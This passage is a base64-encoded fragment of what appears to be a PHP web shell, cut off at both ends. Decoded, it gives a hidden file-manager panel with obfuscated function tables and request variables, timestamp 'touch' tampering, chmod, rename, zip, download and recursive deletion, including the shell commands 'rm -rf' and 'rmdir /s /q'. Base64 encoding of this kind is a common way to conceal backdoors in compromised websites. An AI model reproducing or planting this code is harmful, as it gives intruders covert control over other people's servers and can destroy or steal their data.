wYXRoLyRmaWxlJz48aSBjbGFzcz0nYmkgYmktcGVuY2lsLXNxdWFyZSc+PC9pPjwvYT4NCgkJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/ZGlyPSIuaGV4KCRmdW5nc2lbN10oKSkuIiZhY3Rpb249dW56aXBfZmlsZSZvcG49JGZpbGUnPjxpIGNsYXNzPSdiaSBiaS1maWxlLXppcC1maWxsJz48L2k+PC9hPg0KCQkJPGEgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIGhyZWY9Jz9kaXI9Ii5oZXgoJGZ1bmdzaVs3XSgpKS4iJmFjdGlvbj10b3VjaF9maWxlJm9wbj0kcGF0aC8kZmlsZSc+PGkgY2xhc3M9J2JpIGJpLWNhbGVuZGFyJz48L2k+PC9hPg0KCQkJPGEgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIGhyZWY9Jz9kaXI9Ii5oZXgoJGZ1bmdzaVs3XSgpKS4iJmFjdGlvbj1yZW5hbWUmb3BuPSRwYXRoLyRmaWxlJz48aSBjbGFzcz0nYmkgYmktcGVuY2lsLWZpbGwnPjwvaT48L2E+DQoJCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0iLmhleCgkZnVuZ3NpWzddKCkpLiImYWN0aW9uPWNobW9kJm9wbj0kcGF0aC8kZmlsZSc+PGkgY2xhc3M9J2JpIGJpLWZpbGUtbG9jay1maWxsJz48L2k+PC9hPg0KCQkJPGEgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIGhyZWY9Jz9kaXI9Ii5oZXgoJGZ1bmdzaVs3XSgpKS4iJmFjdGlvbj1kZWxldGVfZmlsZSZvcG49JHBhdGgvJGZpbGUnPjxpIGNsYXNzPSdiaSBiaS10cmFzaC1maWxsJz48L2k+PC9hPg0KCQkJPGEgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIGhyZWY9Jz9kaXI9Ii5oZXgoJGZ1bmdzaVs3XSgpKS4iJmFjdGlvbj1kb3dubG9hZCZvcG49JHBhdGgvJGZpbGUnPjxpIGNsYXNzPSdiaSBiaS1kb3dubG9hZCc+PC9pPjwvYT4NCgkJPC9kaXY+IjsNCgkJZWNobyAiDQoJCTxkaXYgY2xhc3M9J2NhcmQgY2FyZC1ib2R5IHRleHQtZGFyayBpbnB1dC1ncm91cCBtYi0zJz4NCgkJCTxwPkFyZSB5b3Ugc3VyZSB0byB0b3VjaCB0aGUgZmlsZSA6ICIgLiBiYXNlbmFtZSgkZmlsZSkgLiAiID88L3A+DQoJCQk8Zm9ybSBtZXRob2Q9J1BPU1QnPg0KCQkJCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSduZXdfdG91Y2gnIGlkPSduZXdfdG91Y2gnIGNsYXNzPSdmb3JtLWNvbnRyb2wnIHZhbHVlPSckZmlsZVRpbWVzdGFtcCcgcmVxdWlyZWQ+DQoJCQkJPGEgY2xhc3M9J2J0biBidG4tZGFuZ2VyIGJ0bi1ibG9jayBidG4tc20nIGhyZWY9Jz9kaXI9IiAuIGhleCgkZGlyKSAuICInPk5vPC9hPg0KCQkJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J3llYWh4JyBjbGFzcz0nYnRuIGJ0bi1zdWNjZXNzIGJ0bi1ibG9jayBidG4tc20nIHZhbHVlPSdZZXMnPg0KCQkJPC9mb3JtPg0KCQk8L2Rpdj4iOw0KCQl9DQoJCS8vIENobW9kDQoJCWlmICgkXzdbJ2FjdGlvbiddID09ICdjaG1vZCcpIHsNCgkJcygpOw0KCQkkZmlsZVRvQ2htb2QgPSAkZmlsZTsNCgkJJGN1cnJlbnRDaG1vZCA9IGZpbGVwZXJtcygkZmlsZVRvQ2htb2QpOw0KCQkkRmlsZUNobW9kID0gc3Vic3RyKHNwcmludGYoJyVvJywgJGN1cnJlbnRDaG1vZCksIC00KTsNCgkJaWYgKGlzc2V0KCRfUE9TVFsnY2VoYW1vdCddKSkgew0KCQkJaWYgKGlzc2V0KCRfN1snbmV3X2NobW9kJ10pKSB7DQoJCQkJJG5ld0NobW9kID0gJF83WyduZXdfY2htb2QnXTsNCgkJCQkkbmV3Q2htb2RPY3RhbCA9IG9jdGRlYygkbmV3Q2htb2QpOw0KCQkJCWlmIChpc19udW1lcmljKCRuZXdDaG1vZCkpIHsNCgkJCQkJaWYgKGNobW9kKCRmaWxlVG9DaG1vZCwgJG5ld0NobW9kT2N0YWwpKSB7DQoJCQkJCQllY2hvICc8c3Ryb25nPkNobW9kIGZpbGU8L3N0cm9uZz4gb2shICcub2soKS4nPC9kaXY+JzsNCgkJCQkJfSBlbHNlIHsNCgkJCQkJCWVjaG8gJzxzdHJvbmc+Q2htb2QgZmlsZTwvc3Ryb25nPiBmYWlsISAnLmVyKCkuJzwvZGl2Pic7DQoJCQkJCX0NCgkJCQl9IGVsc2Ugew0KCQkJCQllY2hvICc8c3Ryb25nPkNoZWNrIENobW9kIFZhbHVlPC9zdHJvbmc+IGZhaWwhICcuZXIoKS4nPC9kaXY+JzsNCgkJCQkJfQ0KCQkJfQ0KCQl9DQoJCWVjaG8gIg0KCQk8ZGl2IGNsYXNzPSdidG4tZ3JvdXAnPg0KCQkJPGEgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIGhyZWY9Jz9kaXI9Ii5oZXgoJGZ1bmdzaVs3XSgpKS4iJmFjdGlvbj12aWV3Jm9wbj0kcGF0aC8kZmlsZSc+PGkgY2xhc3M9J2JpIGJpLWV5ZS1maWxsJz48L2k+PC9hPg0KCQkJPGEgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIGhyZWY9Jz9kaXI9Ii5oZXgoJGZ1bmdzaVs3XSgpKS4iJmFjdGlvbj1lZGl0Jm9wbj0kcGF0aC8kZmlsZSc+PGkgY2xhc3M9J2JpIGJpLXBlbmNpbC1zcXVhcmUnPjwvaT48L2E+DQoJCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0iLmhleCgkZnVuZ3NpWzddKCkpLiImYWN0aW9uPXVuemlwX2ZpbGUmb3BuPSRmaWxlJz48aSBjbGFzcz0nYmkgYmktZmlsZS16aXAtZmlsbCc+PC9pPjwvYT4NCgkJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/ZGlyPSIuaGV4KCRmdW5nc2lbN10oKSkuIiZhY3Rpb249dG91Y2hfZmlsZSZvcG49JHBhdGgvJGZpbGUnPjxpIGNsYXNzPSdiaSBiaS1jYWxlbmRhcic+PC9pPjwvYT4NCgkJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/ZGlyPSIuaGV4KCRmdW5nc2lbN10oKSkuIiZhY3Rpb249cmVuYW1lJm9wbj0kcGF0aC8kZmlsZSc+PGkgY2xhc3M9J2JpIGJpLXBlbmNpbC1maWxsJz48L2k+PC9hPg0KCQkJPGEgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIGhyZWY9Jz9kaXI9Ii5oZXgoJGZ1bmdzaVs3XSgpKS4iJmFjdGlvbj1jaG1vZCZvcG49JHBhdGgvJGZpbGUnPjxpIGNsYXNzPSdiaSBiaS1maWxlLWxvY2stZmlsbCc+PC9pPjwvYT4NCgkJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/ZGlyPSIuaGV4KCRmdW5nc2lbN10oKSkuIiZhY3Rpb249ZGVsZXRlX2ZpbGUmb3BuPSRwYXRoLyRmaWxlJz48aSBjbGFzcz0nYmkgYmktdHJhc2gtZmlsbCc+PC9pPjwvYT4NCgkJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/ZGlyPSIuaGV4KCRmdW5nc2lbN10oKSkuIiZhY3Rpb249ZG93bmxvYWQmb3BuPSRwYXRoLyRmaWxlJz48aSBjbGFzcz0nYmkgYmktZG93bmxvYWQnPjwvaT48L2E+DQoJCTwvZGl2Pg0KCQk8YnI+DQoJCTxpIGNsYXNzPSdiaSBiaS1maWxlLWVhcm1hcmsnPjwvaT46Jm5ic3A7IiAuIGJhc2VuYW1lKCRmaWxlKSAuICINCgkJPC9icj4NCgkJPGZvcm0gbWV0aG9kPSdQT1NUJz4NCgkJCTxkaXYgY2xhc3M9J2lucHV0LWdyb3VwJz4NCgkJCQk8aW5wdXQgY2xhc3M9J2Zvcm0tY29udHJvbCBidG4tc20nIHR5cGU9J3RleHQnIG5hbWU9J25ld19jaG1vZCcgdmFsdWU9JyRGaWxlQ2htb2QnPjxidXR0b24gY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIHR5cGU9J3N1Ym1pdCcgbmFtZT0nY2VoYW1vdCc+PGkgY2xhc3M9J2JpIGJpLWFycm93LXJldHVybi1yaWdodCc+PC9pPjwvYnV0dG9uPg0KCQkJPC9kaXY+DQoJCTwvZm9ybT4iOw0KCQl9DQoJCS8vIERlbGV0ZSBGaWxlDQoJCWlmICgkXzdbJ2FjdGlvbiddID09ICdkZWxldGVfZmlsZScpIHsNCgkJcygpOw0KCQlpZiAoJF83Wyd5ZWFoeCddKSB7DQoJCQkkZGVsZXRlID0gJEdMT0JBTFNbJ2Z1bmdzaSddWzRdKCRmaWxlKTsNCgkJCWlmICgkZGVsZXRlKSB7DQoJCWVjaG8gJzxzdHJvbmc+RGVsZXRlIGZpbGU8L3N0cm9uZz4gb2shICcub2soKS4nPC9kaXY+JzsNCgkJCX1lbHNlew0KCQllY2hvICc8c3Ryb25nPkRlbGV0ZSBmaWxlPC9zdHJvbmc+IGZhaWwhICcuZXIoKS4nPC9kaXY+JzsNCgkJCX0NCgkJfQ0KCQllY2hvICINCgkJPGRpdiBjbGFzcz0nYnRuLWdyb3VwIG1iLTMnPg0KCQkJPGEgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIGhyZWY9Jz9kaXI9Ii5oZXgoJGZ1bmdzaVs3XSgpKS4iJmFjdGlvbj12aWV3Jm9wbj0kcGF0aC8kZmlsZSc+PGkgY2xhc3M9J2JpIGJpLWV5ZS1maWxsJz48L2k+PC9hPg0KCQkJPGEgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIGhyZWY9Jz9kaXI9Ii5oZXgoJGZ1bmdzaVs3XSgpKS4iJmFjdGlvbj1lZGl0Jm9wbj0kcGF0aC8kZmlsZSc+PGkgY2xhc3M9J2JpIGJpLXBlbmNpbC1zcXVhcmUnPjwvaT48L2E+DQoJCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0iLmhleCgkZnVuZ3NpWzddKCkpLiImYWN0aW9uPXVuemlwX2ZpbGUmb3BuPSRmaWxlJz48aSBjbGFzcz0nYmkgYmktZmlsZS16aXAtZmlsbCc+PC9pPjwvYT4NCgkJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/ZGlyPSIuaGV4KCRmdW5nc2lbN10oKSkuIiZhY3Rpb249dG91Y2hfZmlsZSZvcG49JHBhdGgvJGZpbGUnPjxpIGNsYXNzPSdiaSBiaS1jYWxlbmRhcic+PC9pPjwvYT4NCgkJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/ZGlyPSIuaGV4KCRmdW5nc2lbN10oKSkuIiZhY3Rpb249cmVuYW1lJm9wbj0kcGF0aC8kZmlsZSc+PGkgY2xhc3M9J2JpIGJpLXBlbmNpbC1maWxsJz48L2k+PC9hPg0KCQkJPGEgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIGhyZWY9Jz9kaXI9Ii5oZXgoJGZ1bmdzaVs3XSgpKS4iJmFjdGlvbj1jaG1vZCZvcG49JHBhdGgvJGZpbGUnPjxpIGNsYXNzPSdiaSBiaS1maWxlLWxvY2stZmlsbCc+PC9pPjwvYT4NCgkJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/ZGlyPSIuaGV4KCRmdW5nc2lbN10oKSkuIiZhY3Rpb249ZGVsZXRlX2ZpbGUmb3BuPSRwYXRoLyRmaWxlJz48aSBjbGFzcz0nYmkgYmktdHJhc2gtZmlsbCc+PC9pPjwvYT4NCgkJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/ZGlyPSIuaGV4KCRmdW5nc2lbN10oKSkuIiZhY3Rpb249ZG93bmxvYWQmb3BuPSRwYXRoLyRmaWxlJz48aSBjbGFzcz0nYmkgYmktZG93bmxvYWQnPjwvaT48L2E+DQoJCTwvZGl2Pg0KCQk8ZGl2IGNsYXNzPSdjYXJkIGNhcmQtYm9keSB0ZXh0LWRhcmsgaW5wdXQtZ3JvdXAgbWItMyc+DQoJCQk8cD5BcmUgeW91IHN1cmUgdG8gZGVsZXRlIDogIi5iYXNlbmFtZSgkZmlsZSkuIiA/PC9wPg0KCQkJPGZvcm0gbWV0aG9kPSdQT1NUJz4NCgkJCQk8YSBjbGFzcz0nYnRuIGJ0bi1kYW5nZXIgYnRuLWJsb2NrIGJ0bi1zbScgaHJlZj0nP2Rpcj0iLmhleCgkZGlyKS4iJz5ObzwvYT4NCgkJCQk8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSd5ZWFoeCcgY2xhc3M9J2J0biBidG4tc3VjY2VzcyBidG4tYmxvY2sgYnRuLXNtJyB2YWx1ZT0nWWVzJz4NCgkJCTwvZm9ybT4NCgkJPC9kaXY+IjsNCgkJfQ0KCQkvLyBSZW5hbWUgRm9sZGVyDQoJCWlmKCRfN1snYWN0aW9uJ10gPT0gJ3JlbmFtZV9mb2xkZXInKSB7DQoJCQlpZigkXzdbJ3JfZCddKSB7DQoJCQkJJHJfZCA9IHJlbmFtZSgkZGlyLCAiIi5kaXJuYW1lKCRkaXIpLiIvIi5odG1sc3BlY2lhbGNoYXJzKCRfN1sncl9kJ10pLiIiKTsNCgkJCQlpZigkcl9kKSB7DQoJCWVjaG8gJzxzdHJvbmc+UmVuYW1lIGZvbGRlcjwvc3Ryb25nPiBvayEgJy5vaygpLic8YSBjbGFzcz0iYnRuLWNsb3NlIiBocmVmPSI/cGF0aD0nLmRpcm5hbWUoJGRpcikuJyI+PC9hPjwvZGl2Pic7DQoJCQkJfWVsc2V7DQoJCWVjaG8gJzxzdHJvbmc+UmVuYW1lIGZvbGRlcjwvc3Ryb25nPiBmYWlsISAnLmVyKCkuJzxhIGNsYXNzPSJidG4tY2xvc2UiIGhyZWY9Ij9wYXRoPScuZGlybmFtZSgkZGlyKS4nIj48L2E+PC9kaXY+JzsNCgkJCQl9DQoJCQl9DQoJCXMoKTsNCgkJZWNobyAiDQoJCTxkaXYgY2xhc3M9J2J0bi1ncm91cCc+DQoJCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0iLmhleCgkZnVuZ3NpWzddKCkpLiImYWN0aW9uPXJlbmFtZV9mb2xkZXInPjxpIGNsYXNzPSdiaSBiaS1wZW5jaWwtZmlsbCc+PC9pPjwvYT4NCgkJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/ZGlyPSIuaGV4KCRmdW5nc2lbN10oKSkuIiZhY3Rpb249emlwX2ZvbGRlcic+PGkgY2xhc3M9J2JpIGJpLWZpbGUtemlwLWZpbGwnPjwvaT48L2E+DQoJCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0iLmhleCgkZnVuZ3NpWzddKCkpLiImYWN0aW9uPXRvdWNoX2ZvbGRlcic+PGkgY2xhc3M9J2JpIGJpLWNhbGVuZGFyJz48L2k+PC9hPg0KCQkJPGEgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIGhyZWY9Jz9kaXI9Ii5oZXgoJGZ1bmdzaVs3XSgpKS4iJmFjdGlvbj1jaG1vZF9mb2xkZXInPjxpIGNsYXNzPSdiaSBiaS1maWxlLWxvY2stZmlsbCc+PC9pPjwvYT4NCgkJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/ZGlyPSIuaGV4KCRmdW5nc2lbN10oKSkuIiZhY3Rpb249ZGVsZXRlX2ZvbGRlcic+PGkgY2xhc3M9J2JpIGJpLXRyYXNoLWZpbGwnPjwvaT48L2E+DQoJCTwvZGl2Pg0KCQk8YnI+DQoJCQk8aSBjbGFzcz0nYmkgYmktZm9sZGVyLWZpbGwnPjwvaT46Jm5ic3A7Ii5iYXNlbmFtZSgkZGlyKS4iDQoJCTwvYnI+DQoJCTxmb3JtIG1ldGhvZD0nUE9TVCc+DQoJCQk8ZGl2IGNsYXNzPSdpbnB1dC1ncm91cCc+DQoJCQkJPGlucHV0IGNsYXNzPSdmb3JtLWNvbnRyb2wgYnRuLXNtJyB0eXBlPSd0ZXh0JyB2YWx1ZT0nIi5iYXNlbmFtZSgkZGlyKS4iJyBuYW1lPSdyX2QnICRfcj4NCgkJCQk8YnV0dG9uIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyB0eXBlPSdzdWJtaXQnPjxpIGNsYXNzPSdiaSBiaS1hcnJvdy1yZXR1cm4tcmlnaHQnPjwvaT48L2J1dHRvbj4NCgkJCTwvZGl2Pg0KCQk8L2Zvcm0+IjsNCgkJfQ0KCQkvLyBEZWxldGUgRm9sZGVyDQoJCWlmICgkXzdbJ2FjdGlvbiddID09ICdkZWxldGVfZm9sZGVyJyApIHsNCgkJcygpOw0KCQlpZiAoJF83Wyd5ZWFoJ10pIHsNCgkJCWlmKCRmdW5nc2lbMV0oJGRpcikpIHsNCgkJCWlmKGlzX3dyaXRhYmxlKCRkaXIpKSB7DQoJCQkJQHJtZGlyKCRkaXIpOw0KCQkJCUBleGUoInJtIC1yZiAkZGlyIik7DQoJCQkJQGV4ZSgicm1kaXIgL3MgL3EgJGRpciIpOw0KCQllY2hvICc8c3Ryb25nPkRlbGV0ZSBmb2xkZXI8L3N0cm9uZz4gb2shICcub2soKS4nPGEgY2xhc3M9ImJ0bi1jbG9zZSIgaHJlZj0iP3BhdGg9Jy5kaXJuYW1lKCRkaXIpLiciPjwvYT48L2Rpdj4nOw0KCQkJCX0gZWxzZSB7DQoJCWVjaG8gJzxzdHJvbmc+RGVsZXRlIGZvbGRlcjwvc3Ryb25nPiBmYWlsISAnLmVyKCkuJzxhIGNsYXNzPSJidG4tY2xvc2UiIGhyZWY9Ij9wYXRoPScuZGlybmFtZSgkZGlyKS4nIj48L2E+PC9kaXY+JzsNCgkJCQl9DQoJCQl9DQoJCX0NCgkJZWNobyAiDQoJCTxkaXYgY2xhc3M9J2J0bi1ncm91cCBtYi0zJz4NCgkJCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0iLmhleCgkZnVuZ3NpWzddKCkpLiImYWN0aW9uPXJlbmFtZV9mb2xkZXInPjxpIGNsYXNzPSdiaSBiaS1wZW5jaWwtZmlsbCc+PC9pPjwvYT4NCgkJCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0iLmhleCgkZnVuZ3NpWzddKCkpLiImYWN0aW9uPXppcF9mb2xkZXInPjxpIGNsYXNzPSdiaSBiaS1maWxlLXppcC1maWxsJz48L2k+PC9hPg0KCQkJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/ZGlyPSIuaGV4KCRmdW5nc2lbN10oKSkuIiZhY3Rpb249dG91Y2hfZm9sZGVyJz48aSBjbGFzcz0nYmkgYmktY2FsZW5kYXInPjwvaT48L2E+DQoJCQkJPGEgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIGhyZWY9Jz9kaXI9Ii5oZXgoJGZ1bmdzaVs3XSgpKS4iJmFjdGlvbj1jaG1vZF9mb2xkZXInPjxpIGNsYXNzPSdiaSBiaS1maWxlLWxvY2stZmlsbCc+PC9pPjwvYT4NCgkJCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0iLmhleCgkZnVuZ3NpWzddKCkpLiImYWN0aW9uPWRlbGV0ZV9mb2xkZXInPjxpIGNsYXNzPSdiaSBiaS10cmFzaC1maWxsJz48L2k+PC9hPg0KCQk8L2Rpdj4NCgkJPGRpdiBjbGFzcz0nY2FyZCBjYXJkLWJvZHkgdGV4dC1kYXJrIGlucHV0LWdyb3VwIG1iLTMnPg0KCQkJPHA+QXJlIHlvdSBzdXJlIHRvIGRlbGV0ZSA6ICIuYmFzZW5hbWUoJGRpcikuIiA/PC9wPg0KCQkJPGZvcm0gbWV0aG9kPSdQT1NUJz4NCgkJCQk8YSBjbGFzcz0nYnRuIGJ0bi1kYW5nZXIgYnRuLWJsb2NrIGJ0bi1zbScgaHJlZj0nP2Rpcj0iLmRpcm5hbWUoJGRpcikuIic+Tm88L2E+DQoJCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0neWVhaCcgY2xhc3M9J2J0biBidG4tc3VjY2VzcyBidG4tYmxvY2sgYnRuLXNtJyB2YWx1ZT0nWWVzJz4NCgkJCTwvZm9ybT4NCgkJPC9kaXY+IjsNCgkJfQ0KCQkvLyBaaXAgRm9sZGVyDQoJCWlmICgkXzdbJ2FjdGlvbiddID09ICd6aXBfZm9sZGVyJykgew0KCQkJcygpOw0KCQkJaWYgKCRfN1sneWVhaCddKSB7DQoJCQkJJHppcEZpbGUgPSAkZGlyIC4gJy56aXAnOw0KCQkJCSR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOw0KCQkJCWlmICgkemlwLT5vcGVuKCR6aXBGaWxlLCBaaXBBcmNoaXZlOjpDUkVBVEUpID09PSB0cnVlKSB7DQoJCQkJCSRzb3VyY2UgPSByZWFscGF0aCgkZGlyKTsNCgkJCQkJJHppcC0+YWRkRW1wdHlEaXIoYmFzZW5hbWUoJHNvdXJjZSkpOw0KCQkJCQkkaXRlcmF0b3IgPSBuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcihuZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJHNvdXJjZSkpOw0KCQkJCQlmb3JlYWNoICgkaXRlcmF0b3IgYXMgJGZpbGUpIHsNCgkJCQkJCWlmICgkZmlsZS0+aXNEaXIoKSkgew0KCQkJCQkJCSR6aXAtPmFkZEVtcHR5RGlyKCRzb3VyY2UgLiAnLycgLiAkaXRlcmF0b3ItPmdldFN1YlBhdGhOYW1lKCkpOw0KCQkJCQkJfSBlbHNlIHsNCgkJCQkJCQkkemlwLT5hZGRGaWxlKCRmaWxlLCAkaXRlcmF0b3ItPmdldFN1YlBhdGhOYW1lKCkpOw0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJCSR6aXAtPmNsb3NlKCk7DQoJCQkJCWVjaG8gJzxzdHJvbmc+WmlwIGZvbGRlcjwvc3Ryb25nPiBvayEgJyAuIG9rKCkgLiAnPGEgY2xhc3M9ImJ0bi1jbG9zZSIgaHJlZj0iP3BhdGg9JyAuIGRpcm5hbWUoJGRpcikgLiAnIj48L2E+PC9kaXY+JzsNCgkJCQl9IGVsc2Ugew0KCQkJCQllY2hvICc8c3Ryb25nPlppcCBmb2xkZXI8L3N0cm9uZz4gZmFpbCEgJyAuIGVyKCkgLiAnPGEgY2xhc3M9ImJ0bi1jbG9zZSIgaHJlZj0iP3BhdGg9JyAuIGRpcm5hbWUoJGRpcikgLiAnIj48L2E+PC9kaXY+JzsNCgkJCQl9DQoJCQl9DQoJCQllY2hvICINCgkJCTxkaXYgY2xhc3M9J2J0bi1ncm91cCBtYi0zJz4NCgkJCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0iLmhleCgkZnVuZ3NpWzddKCkpLiImYWN0aW9uPXJlbmFtZV9mb2xkZXInPjxpIGNsYXNzPSdiaSBiaS1wZW5jaWwtZmlsbCc+PC9pPjwvYT4NCgkJCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0iLmhleCgkZnVuZ3NpWzddKCkpLiImYWN0aW9uPXppcF9mb2xkZXInPjxpIGNsYXNzPSdiaSBiaS1maWxlLXppcC1maWxsJz48L2k+PC9hPg0KCQkJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/ZGlyPSIuaGV4KCRmdW5nc2lbN10oKSkuIiZhY3Rpb249dG91Y2hfZm9sZGVyJz48aSBjbGFzcz0nYmkgYmktY2FsZW5kYXInPjwvaT48L2E+DQoJCQkJPGEgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIGhyZWY9Jz9kaXI9Ii5oZXgoJGZ1bmdzaVs3XSgpKS4iJmFjdGlvbj1jaG1vZF9mb2xkZXInPjxpIGNsYXNzPSdiaSBiaS1maWxlLWxvY2stZmlsbCc+PC9pPjwvYT4NCgkJCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0iLmhleCgkZnVuZ3NpWzddKCkpLiImYWN0aW9uPWRlbGV0ZV9mb2xkZXInPjxpIGNsYXNzPSdiaSBiaS10cmFzaC1maWxsJz48L2k+PC9hPg0KCQkJPC9kaXY+DQoJCQk8ZGl2IGNsYXNzPSdjYXJkIGNhcmQtYm9keSB0ZXh0LWRhcmsgaW5wdXQtZ3JvdXAgbWItMyc+DQoJCQkJPHA+QXJlIHlvdSBzdXJlIHRvIHppcCA6ICIgLiBiYXNlbmFtZSgkZGlyKSAuICIgPzwvcD4NCgkJCQk8Zm9ybSBtZXRob2Q9J1BPU1QnPg0KCQkJCQk8YSBjbGFzcz0nYnRuIGJ0bi1kYW5nZXIgYnRuLWJsb2NrIGJ0bi1zbScgaHJlZj0nP2Rpcj0iIC4gZGlybmFtZSgkZGlyKSAuICInPk5vPC9hPg0KCQkJCQk8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSd5ZWFoJyBjbGFzcz0nYnRuIGJ0bi1zdWNjZXNzIGJ0bi1ibG9jayBidG4tc20nIHZhbHVlPSdZZXMnPg0KCQkJCTwvZm9ybT4NCgkJCTwvZGl2PiI7DQoJCX0NCgkJLy8gQ2htb2QgRm9sZGVyDQoJCWlmICgkXzdbJ2FjdGlvbiddID09ICdjaG1vZF9mb2xkZXInKSB7DQoJCQlzKCk7DQoJCQkkRm9sZGVyQ2htb2QgPSBzdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJGRpcikpLCAtNCk7DQoJCQlmdW5jdGlvbiBjaG1vZF9mb2xkZXIoJGRpciwgJHBlcm1pc3Npb25zKSB7DQoJCQkJaWYgKGlzX2RpcigkZGlyKSkgew0KCQkJCQlpZiAoY2htb2QoJGRpciwgb2N0ZGVjKCRwZXJtaXNzaW9ucykpKSB7DQoJCQkJCQlyZXR1cm4gdHJ1ZTsNCgkJCQkJfSBlbHNlIHsNCgkJCQkJCXJldHVybiBmYWxzZTsNCgkJCQkJfQ0KCQkJCX0gZWxzZSB7DQoJCQkJCXJldHVybiBmYWxzZTsNCgkJCQl9DQoJCQl9DQoJCQlpZiAoJF83Wyd5ZWFoJ10pIHsNCgkJCQkkcGVybWlzc2lvbnMgPSAkXzdbJ3Blcm1pc3Npb25zJ107IA0KCQkJCWlmIChjaG1vZF9mb2xkZXIoJGRpciwgJHBlcm1pc3Npb25zKSkgew0KCQkJCQllY2hvICc8c3Ryb25nPkNobW9kIGZvbGRlcjwvc3Ryb25nPiBvayEgJyAuIG9rKCkgLiAnPGEgY2xhc3M9ImJ0bi1jbG9zZSIgaHJlZj0iP3BhdGg9JyAuIGRpcm5hbWUoJGRpcikgLiAnIj48L2E+PC9kaXY+JzsNCgkJCQl9IGVsc2Ugew0KCQkJCQllY2hvICc8c3Ryb25nPkNobW9kIGZvbGRlcjwvc3Ryb25nPiBmYWlsISAnIC4gZXIoKSAuICc8YSBjbGFzcz0iYnRuLWNsb3NlIiBocmVmPSI/cGF0aD0nIC4gZGlybmFtZSgkZGlyKSAuICciPjwvYT48L2Rpdj4nOw0KCQkJCX0NCgkJCX0NCgkJCWVjaG8gIg0KCQkJPGRpdiBjbGFzcz0nYnRuLWdyb3VwIG1iLTMnPg0KCQkJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/ZGlyPSIuaGV4KC